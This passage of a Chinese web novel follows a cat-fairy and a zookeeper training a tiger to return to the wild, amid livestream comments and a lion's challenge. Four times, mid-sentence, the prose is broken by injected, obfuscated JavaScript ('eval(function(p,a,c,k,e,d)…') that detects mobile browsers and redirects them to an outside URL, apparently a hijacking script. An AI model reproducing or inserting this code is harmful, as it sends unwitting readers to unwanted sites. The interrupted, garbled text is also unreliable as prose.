栏杆之外,猪堡堡趴在栏杆上,也点点头:“像我老家的妹妹!” 阿金也点点头:“我以为黎园长会法术!” 黎修羽拿出控制柄。 最外面的假猪忽然开始动了。 虎白糖猛的抬头,身体却不动。 虎红糖直接头也不抬。 “你冲啊。”欧若拉对虎白糖说。 “我…”虎白糖身体动了一下,“我不知道该干点啥。” 欧若拉问:“你来这里几年哦?” 虎白糖掰着爪子说:“九、十,十年。” 欧若拉问:“那你怎么会忘记?你都活了一百岁啦。” 虎白糖头趴下去:“我也不知道。” 欧若拉抬头看黎修羽:“黎修羽,我需要你的解答。” 黎修羽说:“生物的习性会随着环境变化。虎白糖,只能从头开始训练你了。” 欧若拉叼着只机械兔子:“虎红糖,你和虎白糖去屋子里,捂住眼睛,不要偷看。” “好,啊呜!”虎红糖伸了个懒腰。 欧若拉和阿金帮着黎修羽把机械兔子、机械鸡、机械猪摆放到灌木丛中。 黎修羽在训练基地的正门口放置了一块倒计时板。 三十天。 三十天后,虎白糖将接受专业机构的测试,决定他到底能不能回归栖息地。 欧若拉把房间门推开,嘴里叼着卷尺的一端:“出来吧。对,就站在这里,不要动,不准动。喵呜,黎修羽,这个距离可以吗?” 黎修羽支好直播设备,拉着卷尺往前走了走:“可以。” 他对直播间说:“大家猜到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551695|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?我们现在为虎白糖训练侦查能力。” 欧若拉问:“虎白糖,你往远处看,能侦查到多少只猎物?” 虎白糖瞪着眼睛瞧,眯着眼睛看:“我去,看不清啊!” 虎红糖揉揉眼睛:“我也看不清,太远了。” 欧若拉说:“这才不远!等虎白糖回到栖息地,就是要隔着这样的距离去侦查猎物呢。你再看看嘛。” 虎白糖举着爪子说:“一只猴,一头猪…” “喂,什么猴啊!”欧若拉叫道,“黎修羽,怎么办?虎白糖把兔子认成猴啦。” 直播间人数飙升。 黎修羽走过来:“虎白糖,你看不清吗?” 虎白糖说:“咱这是咋了?园长,咱这是咋啦!” 欧若拉屁股挪到黎修羽脚边:“他问你他这是怎么了,喵呜。” 黎修羽伸出一只指头:“这是几?” 虎白糖说:“一啊。” 欧若拉说:“他说一。” 黎修羽往后挪了几米:“这是几?” 虎白糖说:“三啊。” 欧若拉跑过去:“三!” 黎修羽再往后挪:“这个呢?” 虎白糖眯着眼睛说:“欧神仙,是五吗?” 欧若拉拍拍黎修羽的腿:“完蛋啦!他马上就要看不清啦。” 黎修羽回头,伸手目测:“没剩几米了,还在可以缓解的范围内。” 欧若拉朝虎白糖大喊:“虎白糖!园长说你还有救!” 虎白糖胡须颤抖:“太好了!怎么救?” 欧若拉叹了口气:“老天爷,我好想用法术呀!但是我的法术被一群坏蛋诅咒了,万一一扭曲…” 虎白糖和虎红糖都捂着眼睛,虎白糖说:“别把我眼球给摘了,欧神仙,我可是您老乡,您老乡我还不想变成夏侯惇啊。” 欧若拉噗嗤一笑,抬头看黎修羽:“喵呜,那咋办呢?虎白糖怕我让他变成夏侯惇。” 黎修羽说:“走吧,我们去教虎白糖科学用眼。” “喵呜?”欧若拉跟上去,“我不知道什么是科学,因为我的存在就是玄学。” 黎修羽说:“但现在你用不了玄学,虎白糖这种情况,还是要相信科学。” 欧若拉说:“我不信,但这是事实…好吧好吧,我信啦!” 黎修羽笑起来,对虎白糖说:“虎白糖,你的饮食结构我来帮你调整,以后要多吃动物肝脏和红色的肉,不要吃别人给你投喂的甜食。” 虎白糖点点头,巨大的脑袋上下抖动:“咱知道了。” “哎呀,他说他知道啦,”欧若拉正在一旁打滚,“以后垃圾食品都让虎红糖吃,让猪堡堡也吃。” 栏杆外的猪堡堡使劲点头:“俺可以!俺可以哦!” 黎修羽说:“猪堡堡不能吃。” 猪堡堡的两只大肥耳朵捂着眼睛,哭着走开了。 黎修羽说:“虎白糖每天都要跟着我做眼保健操,欧若拉,你也做。” “喵呜?我?”欧若拉还在打滚,一听见黎修羽喊她,爬起来问,“那我建议让我的老鼠下属们都来做,因为我想跟他们一起玩。” 黎修羽点了下下颌:“可以。” 欧若拉打了个响指,下一瞬,所有老鼠都从四周涌过来,站在黎修羽脚边。 “敬礼!”鼠大灰喊。 “黎园长好!”所有老鼠异口同声,震得地动山摇。 30. 是男虎就不准说自己不行 黎修羽头皮发麻,太阳穴里的血管突突跳,看向欧若拉的眼神里却多了些敬佩。 能让这么多老鼠不偷不抢,欧若拉真的很有号召力。 黎修羽指挥着动物们排成方队,欧若拉则被任命为领操员。 欧若拉先伸展前肢,再拉伸后腿,喉咙里呼噜呼噜的:“黎修羽,如果我做得好,你今天要多给我一条小鱼干吃,喵呜。” 黎修羽安装好投影仪:“可以。” 屏幕上是全国所有学校统一推行的眼保健操视频。 直播间的弹幕呈爆炸式增长。 弹幕:太搞笑了!这些动物怎么能这么乖! 弹幕:大家都是聪明宝宝。 弹幕:妈呀,刚刚我以为老鼠们要造反呢,原来老鼠都听欧若拉的话 弹幕:大象也要做眼保健操吗? 弹幕:园长大人要开始了吗? 黎修羽对弹幕说:“大家也可以跟着我们一起做。” 他扫视所有动物,余光落在欧若拉身上:“大家注意,眼保健操一定要准确,足时,足量,持久。” “明白!”所有动物异口同声,除了欧若拉。 “…明白!”欧若拉还没伸完懒腰,左右回头看看,也立即答道。 黎修羽扬眉,笑了一下,眼神却离开欧若拉,看向别处。 视频开始播放。 “攒竹下三分,揉天应穴。一二三四,五六七八,二二三四…” 欧若拉睁开一只眼睛,抬头,瞧黎修羽。 她看见黎修羽眯着眼睛,垂眸看她。 欧若拉立即闭上眼睛,爪子在脸上胡乱拍。 “三二三四…” 欧若拉再次睁开一只幼圆的眼睛。 “你怎么还在看我?”欧若拉问。 黎修羽的确是一直在注视她。 “你是不是…” 欧若拉睁开两只眼睛:“我没…我有!我就是找不到穴位在哪里,怎样呢?” 所有动物停止动作,一齐看向欧若拉。 黎修羽单腿蹲下。 “大家继续做吧。”他跟其他动物说。 所有动物又都开始跟着视频做。 黎修羽一只胳膊随意地搭在膝盖上。 欧若拉斜眼瞧瞧黎修羽,见黎修羽似笑非笑地看她,立即将头扭到一边,胡须也向后收紧。 “第二步,挤按睛明穴。” 黎修羽把欧若拉倔强的小脑袋掰正:“这里,是睛明穴。” 他两只宽大温热的手捧住欧若拉圆圆肥肥的脸蛋儿,拇指抵在欧若拉内眼角处,轻轻按压。 欧若拉紧紧闭着眼睛。 随着黎修羽动作的慢慢展开,欧若拉眼部的肌肉也越来越放松。 “喵呜…”她轻轻哼唧了一声,嘴里忍不住冒出呼噜呼噜的声音。 温热的气息从欧若拉小巧的粉色鼻子里喷出,拂过黎修羽掌心敏感的皮肤。 痒痒的。 也热热的。 黎修羽指尖轻颤,长长的睫毛眨了两下,手指挪到欧若拉的四白穴上。 阿金正用鼻子戳着自己的穴位,睁眼,看见前方两个贴得几乎没有距离的生物。 她立即用鼻子掏出一本本子,这是象妈妈用树叶制成的。 “美丽猫咪与帅气园长,第三十章:帅气的人类园长用自己宽阔的手掌,为美丽的猫咪拂去眉宇间的疲惫,美丽的猫咪仙子醉倒在这个男人的手心之间,男人只觉得指尖酥酥麻麻,想了片刻,才方知这是纯粹暧昧的萌芽…”阿金用象鼻子卷着大明王菩萨牌孔雀羽毛笔,一字一句地认真记录着。 黎修羽带着动物做眼保健操的事儿立即被录屏传到了网上。 “星羽动物园眼保健操”直接冲到全国热搜主榜第一。 评论:我真的要冲啦啊啊啊(吉娃娃喵) 评论:受不了了,好可爱,我买好票了,三千公里也要去rua他们(草原牛摸脑袋) 楼中楼:注意开放时间啊,我一直在蹲 楼主回复:下个月一号!你去公众号看,更新时间了! 评论:好甜啊,黎园长知道全国人民都在磕cp吗(企鹅找婆娘) 虎白糖趴在草垛子里,两眼注视着前方,虽然他看不清,但他还是在认真注视。 黎修羽站起来,拍拍身上粘着的苍耳球,无奈地看向虎白糖。 欧若拉“喵呜”一声,跳到黎修羽怀里:“白糖兄,您的屁股!屁股!老虎的屁股!” 黎修羽稳稳当当地接住欧若拉,视线不在她身上,但手却很自然地给欧若拉摘下几颗苍耳球。 虎白糖站起来,又坐下。 “唉,失败了。” 欧若拉说:“我都急得面红耳赤了,虽然所有生物都看不见,但是我的皮肤真的已经红了!白糖大哥,我们一打眼就看见你的屁股啦!” 黎修羽为欧若拉抚掉尘土:“他体型太大,身上的赘肉太多,这是动物园动物的通病,不要怪他。” 他看着虎白糖说:“以后得给你吃有营养的减脂餐了。” 虎白糖嘎巴一声,倒在地上:“咱都能忍,咱都可以。” 黎修羽操作控制柄,机械猪“吼”的一声像远方奔去。 虎白糖伺机而动,跟着假猪飞奔。 黎修羽举着镜头,随着他动,虎白糖威猛的身躯撑满了整个屏幕。 半小时后,他越跑越慢,越跑越气喘吁吁。 “呼,呼,”虎白糖四只大爪子啪嗒啪嗒地甩在地上,“跑不动了…我…我不行了。” 欧若拉跳到门口的倒计时板上方。 “是男虎就不准说自己不行,”欧若拉爪子拍拍倒计时板,喊道,“喵呜,只剩二十五天啦,你再不跑起来,就再也回不了家啦!这个世界只给你这一次机会!我说的话都是真的。” 虎白糖大口大口喘着气:“呼,呼,欧神仙,我,我真的,真的想回家。” 虎红糖站在倒计时板下面,嘴里叼着火鸡腿:“呜,白糖哥,跑起来啊。” 欧若拉说:“跑,再跑…多久?” 黎修羽说:“三个百米冲刺。” 欧若拉点点头:“你的园长发号施令啦,加油啊,想想我们的老家长白山,想想二道白河镇的铁锅炖,虽然我从来没吃过,但一定不难吃啊,你就想想吧,快跑!” “长白山…天池…”虎白糖咬牙,“啊呜!” 他朝机械猪冲过去。 马上就要扑倒机械猪时,他突然刹住车。 但他的块头实在是太大了,就算拼命踩刹车片,还是一不留神就把机械猪撞出去了。 机械猪被撞到几十米开外的地上,“咔嚓”一声,散架了。 “啊哦。”欧若拉默默地从倒计时牌上挪下来,跳到虎红糖头上。 猪堡堡低头,看着栏杆之内近在咫尺的假猪碎片,陷入了沉思。 黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553412|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修羽捡起猪堡堡面前的碎片,走过去:“虎白糖,你,是不是不会扑倒猎物?” 虎红糖驮着欧若拉,说:“白糖哥,哎呀,其实我也忘了。” 欧若拉端坐在虎白糖脑袋上,将虎红糖额间的“王”字踩在爪下。 虎白糖发出一声叹息:“各位,我真的忘记了。” 欧若拉转了转短短的脖子:“还是得靠本喵教你吧,大声告诉我,猫是老虎的…” 虎白糖和虎红糖异口同声:“老师。” 欧若拉跳到地面上:“黎修羽,我需要一只机械兔哦。” 黎修羽扬眉:“机械猪呢?” 欧若拉耷拉着眼皮,气鼓鼓地说:“你故意刁难我!” 黎修羽笑了笑,去仓库拿出机械兔和猪。 欧若拉叼着机械兔,将机械兔叼到十米开外,自己退回原处。 “黎修羽,”欧若拉匍匐着身子,蓄势待发,“可以开始了哟。” 黎修羽操作控制柄。 机械兔嗖的一下跳向远处。 欧若拉整个身体几乎贴在地上,四只爪子,尤其是两只前爪快速地抓着地面。 “虎白糖!”欧若拉大叫一声,像火箭一样飞出去了。 欧若拉所有指甲深深地嵌入机械兔的身体中。 “先伸爪!喵呜!” 机械兔的速度明显变慢,欧若拉扑到机械兔身上。 “扑倒!喵呜!” 欧若拉把机械兔摁在地上,侧着脑袋,含住机械兔的脖子。 “喵呜…”她马上松开,站起来,瞧着虎白糖:“最后再咬脖子。呸!” 她吐出一嘴毛。 架在远处的手机里,弹幕已经爆炸了,整个直播间的人数也突破了三十万人大关。 弹幕:欧若拉在教虎白糖啊!真的太聪明了! 弹幕:欧若拉太帅了 弹幕:真女神,能文能武 弹幕:虎白糖,相信自己,你也可以! 欧若拉甩甩脑袋,迈着猫步,走到黎修羽身边。 虎白糖点点头:“咱大概是想起来了。” 欧若拉说:“你最好是,喵呜。” 黎修羽操作着机械猪往灌木丛里跑,对虎白糖说:“到你了。” 虎白糖马上匍匐着身体,紧盯着即将消失在灌木丛里的猪。 欧若拉说:“不要让你可爱又美丽的老师失望哦!” 虎白糖猛地冲出去,庞大的身躯刮来的风将欧若拉胖到炸起的腮都吹歪了。 黎修羽单手抚了抚自己额前的头发。 一只潦草小狗。 他看见欧若拉时,脑子里突然蹦出来这个表情包。 远处的猪堡堡用猪蹄捂着眼睛,不忍直视。 虎白糖把灌木丛都踏扁了。 他拖着机械猪走出来。 机械猪向下耷拉着脑袋,显然,这只猪的脖子断了。 猪堡堡伸着舌头,翻了个白眼,直直地倒在地上,仿佛她魂穿到机械猪身上了似的。 “虎白糖!”欧若拉抱住黎修羽的脚踝,抱得紧紧的,毛绒绒的脸蛋儿也蹭了蹭,“我好感动!喵呜!” 虎红糖吐掉鸡骨头,跑到虎白糖身边:“白糖哥,你找回自己的天赋啦!可以、可以回家了!我、我有点儿…” 虎白糖放下机械猪:“我会想你的,红糖妹。” “你会想我吗?”远处传来一阵低吼,“啊呜。” 31. 打赌 欧若拉大惊,跳到黎修羽脚边:“兄台,你忘记锁门了!” 黎修羽摇摇头:“非洲之歌那边的门都锁好了。” 欧若拉长叹一口气:“狮子王?你竟然用妖术?我好羡慕!” 狮子王踢开野化训练基地的大门:“猫仙大人,这不重要。” “重要!”欧若拉跺跺脚,喊。 狮子王瞪大了绿豆大小的眼睛:“…好…重要…我是来找某只老虎决一死战的。” 虎白糖:“哞?” 欧若拉戳戳黎修羽的鞋:“完蛋啦,黎修羽,他说他要来找虎白糖决一死战。” 弹幕:少儿不宜! 弹幕:补药哇,为什么突然这样? 弹幕:我好紧张,我求你们冷静点。 狮子王巨大的爪子踏在地上,往前走,目光中透露着凶狠。 虎白糖挠挠头:“为啥啊?咋就突然这样捏?” 欧若拉也飙出东北话:“对呀,介似为啥捏!” 狮子王还在往前走:“哪有那么多为什么,想离开这个动物园,就必须跟我决斗。” 欧若拉对黎修羽说:“喵呜,难道狮子王才是这个动物园真正的保安?” 黎修羽说:“他不让虎白糖离开这里?” 欧若拉说:“可以离开,但得跟他死战,那肯定两败俱伤!” 虎白糖说:“老虎才是真正的王,你怀疑啥呢在?” 虎红糖也说:“白糖哥说得对,看看我们脑门儿上的字儿,王!我们才是王,对吧,白糖哥?” 狮子王后腿直立,前腿俯下去,头上一圈的络腮狮子毛都立起来:“我本不屑与你争,但是虎白糖,我是来自非洲塞伦盖蒂国家公园的狮子王,我必须为我的种族捍卫荣誉。今天你打也得打,不打,也得打。” “喵呜,其实你们可以冷静一点。”欧若拉尬笑一声。 虎白糖推开虎红糖:“临别之际,咱也有责任为东北虎正名。狮子王,十年了,今日你想打,咱就奉陪到底。” 欧若拉后腿着地,立起来,两只爪爪来回挥:“别啊,你们发生血光之灾的话,直播间会被封掉的呀,哎呀,喵呜,我不信你们真的要给大家表演飚血。” 狮子王前爪抓着地:“好啊,园长这不是在直播吗?正好让这些人类见识一下非洲狮子精的厉害。” 黎修羽立即找寻下播按钮。 眼见他俩马上要冲刺,欧若拉狠狠吹了个口哨:“快叫阿金!!!” 草丛的老鼠洞里冒出颗灰溜溜的小脑袋:“遵命!” 虎白糖和狮子王同时龇牙,怒吼,向彼此冲锋。 远处响起汽车鸣笛的声音,下一秒,一团巨大的灰色踏着犹如地震般的节奏,冲进基地。 “昂!”阿金扬起鼻子,尖叫一声,整个身体漂移到基地中央。 虎白糖和狮子王同时刹车,同时将脸结结实实地撞在阿金粗糙的皮上。 在场的所有生物都被阿金卷起的漫天黄土包围了。 “喵呜!”欧若拉吓得立即跳进黎修羽怀里。 她的鼻子和眼睛都被黎修羽温热的大手覆盖住,这下才终于能喘得上气。 她吐了口嘴里钻进去的尘土,在黎修羽手上蹭了蹭嘴,把灰尘抹掉,朝远处看:“阿金,咳咳,阿金!” 欧若拉听见象蹄摩擦在地上发出的巨大噪音,然后又传来一声尖叫:“昂!欧若拉,我来啦!我在这里!你在哪里?” 欧若拉说:“我在,咳咳,在黎修羽怀里!” 欧若拉又听见一声不太清楚的尖叫:“昂!你谈恋爱!” 欧若拉大叫道:“神马!我听不见!” 她听见阿金的声音伴随着尘土和树叶的沙沙声:“我说,你在跟黎园长约会吗!” 她猛地吸进一口尘土:“咳咳,我没有!我才不跟那个傻蛋局长一样呢!” 远处传来阿金带着尖叫的叹息:“好吧!只能断更啦!” 尘土渐渐落下来,欧若拉小爪子打在脸上,把尘土都抚掉。 远处的虎白糖和狮子王猛地弹开,抬头看着近在咫尺的庞然大物。 欧若拉对阿金说:“阿金!挡着他们,不要动!” “我就回去吃了口香蕉!”阿金说。 欧若拉说:“计划赶不上变化,那也没办法。” 阿金低头,看看前面的狮子王,回头,看看后面的虎白糖:“难道他们两个要谈恋爱?欧若拉,你要棒打鸳鸯吗?这真是凄美的爱情故事啊,动物界的梁山伯与祝英台!” “俺没有!”虎白糖大叫。 “我没有!绝对没有!”狮子王也大叫,向后跳了一大步。 欧若拉哈哈大笑:“黎修羽,哈哈哈,阿金说虎白糖和狮子王要谈恋爱,这脑回路真不愧是天宫第一造谣大师!” 黎修羽单手抚掉头上的尘土,也跟着笑了一声。 弹幕:阿金太搞笑了! 弹幕:玩抽象吗?那你赢了。 弹幕:有阿金在这里坐镇,打不起来啦! 弹幕:黎园长在对欧若拉笑哎,磕到了 欧若拉说:“狮子王,你还要跟虎白糖打架吗?” 虎白糖哼了一声:“我虎白糖是百兽之王,非洲来的野狮子不可能打得过我。” 狮子王呲着牙:“你再胡说?” 阿金低头,象鼻子里喘出粗气,喷在狮子王脑袋上:“可是我听羊乐多说,你是虎白糖的好兄弟。” 虎白糖说:“哞?” 狮子王说:“怎么可能…” 欧若拉问:“喵呜?那只老山羊还说什么了呢?” 阿金的象鼻子甩来甩去:“羊乐多还说,狮子王肯定不会跟虎白糖打架的啦,他俩是有爱情在的。” 狮子王和虎白糖同时大吼:“你胡说!” “喵呜?”欧若拉眨眨眼,“羊乐多真的是这样说的?” 阿金嘿嘿一笑:“当然不是啦,最后一句是我刚刚编好的。” 粉色的软爪子隔着衣服搭在黎修羽的腹部,欧若拉说:“我就知道!黎修羽你看她!” 黎修羽托住欧若拉的大手不自觉地卷了一下,挑眉:“你的朋友说什么了?” 欧若拉扑倒在黎修羽怀里,顺势滚了一圈,胡须乱颤:“喵呜,我忘记你听不懂啦!嘘,阿金刚刚又在造谣,她说羊乐多也认为狮子王爱虎白糖。” 黎修羽笑了笑:“她真是有想法。” 欧若拉的小脑袋在黎修羽的肘窝处蹭了两下:“喵呜?黎修羽,你要不要跟我打个赌呢?” 黎修羽问:“赌什么?” 欧若拉说:“我赌狮子王是因为舍不得虎白糖,才找理由不让他走。” 黎修羽弯了下嘴,视线移到小猫的嘴努子上:“那我呢?打算安排我赌什么?” 欧若拉嘴努子一咧,咬牙切齿:“你呀,就赌狮子王就是要打死虎白糖,狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555512|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠地打死。” 柔和的春风拂过黎修羽额前的碎发,黎修羽笑了一声,点了点头:“嗯,可以说赌注了。” 欧若拉想了想:“我还没想好,先留着,以后再找你。” “好。”黎修羽答应道。 欧若拉朝狮子王喊:“狮子王,要是真的把虎白糖打死咯,你可就再也见不到他咯!” 狮子王看向欧若拉:“猫仙大人,本来…本来就是再也见不到了。” 欧若拉说:“你可是修炼多年的妖精呀,再过些年头,你可就能腾云驾雾了,到那个时候想去长白山找虎白糖还不是轻而易举的事嘛。” “可是我…”狮子王说。 欧若拉继续道:“不要可是啦,我可是神仙呦,虽然我现在…哎呀,不讲不讲,等着吧,等我以后回归天宫,我一定恢复所有法力,到时候我去给你偷太上老君的仙丹,你吃一颗,就算修为达不到,也可以腾云驾雾哦。” 虎白糖点点头,隔着阿金,朝狮子王喊话:“我没想到你是舍不得我,好兄弟。” 狮子王说:“我是想跟你争,谁是武林第一。” “武林第一,宝刀屠龙,号令天下,莫敢不从!”欧若拉大喊,“别争啦,屠龙刀才是武林第一,你俩想都别想。” 虎白糖说:“欧神仙,你也看倚天屠龙记!” 欧若拉说:“喵呜,我不看!” 狮子王说:“那您咋知道的!我这外国狮子还是听羊乐多故事会才知道。羊乐多写的倚天屠龙记真好呀!” 阿金“昂”地一声,象鼻子抬起来,打在狮子王头上:“原来羊乐多是贼!倚天屠龙记明明是金庸大大写的,他他他!竟然剽窃别人的创作!” “看啊,我们阿金才是小说大户,我这都是听阿金大大讲的啦!”欧若拉说。 狮子王吃痛,捂着脑袋跳到阿金身后,和虎白糖坐在一起。 “兄弟…”虎白糖说。 狮子王把头转到另一边。 几秒之后,狮子王回过头去,看了虎白糖一眼,往门口走。 欧若拉被黎修羽颠了颠。 欧若拉看向黎修羽:“喵呜?” 黎修羽举着另一快手机,弯着嘴角,朝虎白糖的方向扬了扬下巴:“体检通过了。” 欧若拉的嘴巴慢慢地从一条缝变成圆形:“玉皇大帝啊…” 她眼眶微湿:“真的…黎修羽,这是真的…” 黎修羽上下扫着欧若拉:“嗯。” “虎白糖!啊,虎白糖,你达标了!你的身体达标了!”欧若拉后肢一蹬,从黎修羽身上跃下来,扑进虎白糖怀里,抱住他毛绒绒的白底黑纹的胸膛:“喵呜,成功了!你拿到合格证了!你可以回家了!” 黎修羽托着欧若拉的手臂骤然变轻,温热的触感也转瞬不见,空气中多了几根凭空溅起的猫毛。 “白糖哥…”虎红糖跑过来,喘着粗气,眼睛里泛起泪花,“恭喜你呀,白糖哥,可以回家了。” “好感动呀,”阿金用鼻子擦了擦眼泪,“呜呜呜,又有素材了,更感动了。” 虎白糖伸出爪子,托住欧若拉,有些懵。 他看向黎修羽。 黎修羽朝他点了点头。 百虎园之外,有一片小坡,坡上有很多参天大树,树下有一颗巨大的顽石。 已经走远的狮子王正站在顽石之后。 听完欧若拉说话,狮子王向树林深处走去。 32. 或许 夜里,月光从百叶窗缝漏进来,洒在木质地面上,并不真切。 屋内亮着暖色调的光,将整间屋子照亮。 欧若拉躺在桌子上,身下垫着黎修羽的作业稿纸,圆滚滚的脑袋枕在黎修羽的胳膊上。 野生动物救护中心志愿者发来的栖息地考察结果赫然出现在电脑屏幕上。 欧若拉眨了眨眼睛,声音含糊:“黎修羽,这里就是长白山。” 黎修羽点了下头:“是的。” 欧若拉的小肉垫摁在黎修羽虎口上:“喵呜…我来自长白山,但我却是第一次看见这里。” 黎修羽点开一张长白山天池四周白雪覆盖的图,眼眸微颤,睨着欧若拉:“你的家乡,是这里?” “是啊…黎修羽,”欧若拉说,“我的妈妈就是在长白山修炼成仙的哦,虽然我不是出生在长白山,但,啊呜,我的老家就是这里。” 黎修羽想说些什么,忽的,电脑弹出一条消息。 欧若拉眼皮已经几乎完全合上,她迷迷糊糊地蹭了蹭黎修羽的肌肤,困倦之中,似乎听见黎修羽清泉般的声音。 “志愿者下周五来给虎白糖测试指标,如果合格,我们,去送送虎白糖吧。” “喵呜…”欧若拉又蹭了蹭黎修羽,两只爪子抱紧了黎修羽的手臂,“听你的好啦…” 黎修羽无声地抚了抚欧若拉耳朵尖上的粉毛,一只手托住欧若拉的脑袋,把被欧若拉枕着的手抽出来,抱起欧若拉,将她放到早已铺好的床上。 欧若拉晕晕乎乎的,在床上滚了一遭,猛地惊醒,眨了眨眼睛,走到床尾去了。 黎修羽向床尾睨了一眼,开始轻缓地整理书本和稿纸。 他从书架里拿出笔记本,直直打开最后一页,沉吟片刻,在虎白糖这三个字旁,打了个对号。 月光洒进屋内,留下一地雪白。黎修羽躺在床上,却睡不着。 他合眼等了好久,不见欧若拉像往常一样一边嘴里咕哝着“喵呜”,一边连滚带爬地慢慢挪到他胸膛上。 有些烦躁,黎修羽睁开眼。 欧若拉的粉色尾巴已过度伸展到背上,左爪在前,右爪还没来得及搭到前面,见黎修羽猛然睁开眼睛,立即停住脚步。 她尴尬地动了动胡子:“人家以为你睡着了。” 黎修羽眼神清凉。 欧若拉撇了撇嘴巴,默默收回了左爪,再是右爪。 “今晚上不想趴过来了?” 欧若拉答:“三七二十一天已经过去,你的身体没问题了,虽然我不想说话算话,但我怕你把我撵出去,所以我还是遵守约定吧,打扰你了。” 她继续向后退,眼看就要隐藏回床尾的黑暗中。 “或许。”黎修羽说。 “喵呜?”欧若拉重新探出脑袋,“或许的意思是,啊,是不是我可以继续亲你的嘴了?” 黎修羽不由得一惊,轻咳道:“我,我的意思是,你可以趴在这儿。” 他指了指自己胸膛的位置。 “那人家控制不住自己嘛,”欧若拉砰地一声跳到黎修羽胸膛上,踩来踩去,“我这次绝对不会在这件事上跟你打包票,因为我不能保证我的嘴巴不想亲你。” “幸好你只是猫。”黎修羽叹了口气,不再看她。 欧若拉又踩踩黎修羽:“我是神仙哦,是天神,有编制的那种哦!” “好,知道了。”黎修羽闭上眼睛。 “你睡着了?”欧若拉戳戳黎修羽的喉结。 “嗯。” “那就晚安吧,黎修羽。” “晚安。” “帅气的人类园长首次对美丽的小猫仙子心软,他抛却羞涩,渴望和猫仙成双成对,共卧床塌,翻云覆…” “阿金!你回去睡觉啦!”欧若拉大叫道。 黎修羽猛地睁开眼睛。 “不好意思啊!”欧若拉伸出两只爪子,把肉垫摁在黎修羽的眼皮上,强行给他合上了眼睛。 “昂!”阿金象鼻子竖起,偷偷喊了一声,“我知道啦!” 阿金卷着本子,蹑手蹑脚但仿佛发动了地震一样,离开了房子。 百虎园聚集了许多动物。 一只黄色的斑点蝴蝶落在脆嫩的鸢尾花尖上,晶莹剔透的露珠随着压力的下压,从叶尖滴落在被昨晚的细雨浸湿的土壤中,消失不见。 鼠大灰从地洞里钻出来,抖了抖头上粘着的湿土,说:“猫仙大人,沉睡花园来电。” 欧若拉问:“喵呜怎么接电话呢?” 一片深绿色的叶子被鼠大灰双手奉上,欧若拉接过来,叶子上传来一阵闷闷的声音。 “猫仙大人,您好。” 欧若拉说:“你好?你是水豚还是考拉还是树懒?” “我是巴西貘,赛斑马。” “哦,”欧若拉胡须一动,“你怎么会万里传音。” 赛斑马说:“我曾跟天宫动物局局长大人学过几个钟头的艺,略会一点而已。” “那我算你师姐哦!”欧若拉耳朵向后撇。 “师姐您好。” 欧若拉咯咯笑起来:“师弟,你这名字也太搞笑了,这是不是你爸妈用来嘲讽你的?哈哈哈,说吧,找师姐什么事儿。” “嗯…听说虎白糖明天走,我们沉睡花园园区的动物,也想去送送他。” 欧若拉笑起来:“可以答应啊,但前提是…” 赛斑马说:“额…您说。” 欧若拉说:“以后我安排的活动,你们园区必须参加,没有我的允许,活动期间不准打盹儿。” 赛斑马大惊:“啊,可是…我们真的…” 欧若拉意味深长地说:“那这里不欢迎。” “好吧,我们答应。猫仙大人,不知道您还记不记得,我托羊乐多给您传的那件事儿。” 欧若拉想了想:“哦,那件事儿啊!我忘记啦!” “啊!” 她一掌捂在自己的嘴上:“呜…我的意思是…啊,你可以再来找我!就酱紫,你们赶紧过来,欢送马上开始,拜拜!” “欧神仙,赛斑马也要过来吗?”虎白糖走过来,蹲在欧若拉对面。 欧若拉说:“是的,他们非要来送你,虎白糖,你太有魅力了,他们竟然答应以后要来参加我的活动嗷!” 虎白糖的嘴努子咧出来一个笑。 羊乐多跪坐在虎白糖身旁,拍拍虎白糖粗壮的胳膊:“咩,不要舍不得大家,海内存知己,天涯若比邻,福生无量天尊。” 黑猩猩桑哥伸手揪了揪虎白糖的耳朵:“以后你就吃不到我攒的香蕉了。” 虎白糖说:“一天天的,老子婉拒扔粑粑的手摸过的香蕉哈。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557698|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑哥说:“不行,猫仙大人,这老虎竟然嫌弃我!” 